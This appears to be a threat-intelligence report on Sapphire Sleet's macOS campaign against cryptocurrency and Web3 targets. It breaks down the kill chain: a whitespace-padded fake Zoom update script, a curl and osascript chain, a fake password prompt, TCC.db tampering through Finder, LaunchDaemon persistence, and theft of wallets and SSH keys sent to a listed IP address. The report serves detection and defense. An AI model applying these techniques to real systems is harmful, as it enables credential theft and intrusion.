Sapphire Sleet Targets macOS in Multi-Stage Intrusion Campaign

We recently observed a multi-stage macOS intrusion campaign conducted by the North Korean state-sponsored threat group Sapphire Sleet (also tracked as BlueNoroff/UNC1069).

The campaign specifically targets macOS environments within high-value financial sectors, including venture capital firms, Web3 developers, and cryptocurrency organizations. Historically active since 2020, Sapphire Sleet has evolved its tradecraft from simple malicious macros to sophisticated, native macOS components designed to systematically strip target endpoints of cryptographic keys and operational identities.

This latest activity represents a sharp shift toward trust abuse over traditional technical exploitation. By leveraging signed, built-in system applications like the Apple Script Editor and Finder, the malware operates outside traditional macOS security enforcement boundaries, suppresses system security alerts, and executes arbitrary code directly under the guise of an authentic user update. This aligns with broader public reporting on macOS-focused intrusion tradecraft.

Initial access relied on targeted social engineering in which victims were instructed to execute a fake Zoom SDK update component, leading to user-assisted execution and follow-on payload delivery.

Attack Chain Breakdown (Kill Chain)

1. Initial Access: The attack begins with targeted social engineering against individuals in the crypto/investment/Web3 space. The attacker contacts the victim (via LinkedIn, Telegram, email, or other professional platforms), poses as a recruiter, investor, or business partner, and schedules a video meeting. Before the meeting, the victim is instructed to execute a fake Zoom SDK update component (Zoom SDK Update.scpt). The user-assisted execution runs the compiled AppleScript file, which natively opens inside the macOS Script Editor. The underlying malicious logic is obfuscated using thousands of empty lines (whitespace padding) to push it out of immediate visual view. The execution flow is as follows: Script Editor → osascript → curl → shell, leading to follow-on payload delivery.

2. Execution and Orchestration: The script initiates a chain of curl and osascript commands utilizing five hardcoded, task-specific User-Agents (mac-cur1 through mac-cur5). These agents establish structural host check-ins and drop initial profiling tools, such as com.apple.cli.

3. Credential Access: A fake application named systemupdate.app launches a native looking Objective-C prompt (Mac Password Popup) to harvest the user's login password.

4. Privacy Bypass (TCC Abuse): The malware abuses the native Finder application — which holds Full Disk Access permissions by default — to copy, manipulate via sqlite3, and overwrite the central system privacy database (TCC.db). This silently injects a full automation allowance for /usr/bin/osascript ($auth_value=2$), bypassing any operating system security prompts.

5. Persistence Engine: An administrative boot configuration is dropped into /Library/LaunchDaemons/com.google.webkit.service.plist to launch a backdoor component named icloudz at system startup. This component uses the system function NSCreateObjectFileImageFromMemory to reflectively load the core beacon agent (com.google.chromes.updaters) directly into memory, communicating outbound every 60 seconds.

6. Collection and Exfiltration: The script profiles, archives into .zip files within the /tmp/ directory, and steals critical corporate data assets. Targeted assets include cryptocurrency software wallets (Exodus, Ledger Live), local browser extension storage, session profiles for Telegram, local SSH keys, and unencrypted records from Apple Notes. Staged archives are uploaded via nohup curl to remote port 8443, though official exfiltration traffic has been reported on 104.145.210[.]107:6783.

Figure 1. Sapphire Sleet’s macOS campaign attack chain.

It is highly likely that the original campaign infrastructure has been partially mitigated, as Microsoft shared its findings with Apple, leading to updates for detecting and blocking campaign-related infrastructure and malware. However, the core tradecraft leveraging native binaries for execution (Script Editor → osascript → curl), TCC.db abuse, and suspicious LaunchDaemons remains relevant for detection, as the threat actor can easily pivot to new domains, file names, and payloads, rendering the historical indicators of compromise (IoCs) less potent.

Key IoCs

Cryptographic File Hashes (SHA-256)

Network & Infrastructure Channels

Strategic Forensic File Paths

• ~/Library/Application Support/Authorization/auth.db (Backdoor installation marker)

•  /Library/LaunchDaemons/com.google.webkit.service.plist (System persistence daemon)

• ~/Library/Application Support/iCloud/icloudz (Reflective payload container

•  /private/tmp/SystemUpdate/ (Credential harvester staging directory)